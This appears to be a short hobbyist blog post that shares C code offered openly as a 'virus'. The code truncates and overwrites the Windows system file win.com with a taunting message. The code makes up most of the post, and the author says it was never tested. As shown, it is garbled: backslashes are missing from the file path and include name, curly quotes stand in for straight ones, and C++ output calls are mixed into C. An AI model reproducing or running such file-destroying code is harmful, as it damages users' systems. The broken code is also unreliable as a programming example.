I am studying C and C++ again to revise what I learnt a long time ago. This time, I am trying to be a bit malicious. Here’s a piece of C code I found the other day.
===============================================
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sysstat.h>
#include <io.h>
#include <string.h>
int main(void)
{
clrscr();
int handle;
char string[1000];
int length, res,i;
if ((handle = open(“C:windowswin.com”, O_WRONLY | O_CREAT |O_TRUNC, S_IREAD | S_IWRITE)) == -1)
{
printf(“Error opening file.”);
exit(1);
}
strcpy(string, “<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This execution currupt your WINDOWS !!!!!!</html>”);
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf(“Error writing to the file.”);
getch();
exit(1);
}
printf(“Wrote %d bytes to the file.”, res);
cout<<”Hello !!!!!!!!”;
cout<<” This is a VIRUS ATTACK !!!”;
cout<<” This execution currupt your WINDOWS !!!!!!”;
close(handle);
getch();
return 0;
}
===============================================
This code corrupts the win.com file inside the Windows directory. I didn’t find the file in my Vista Windows directory. I am not sure if the virus works. I didn’t personally test it in my pc.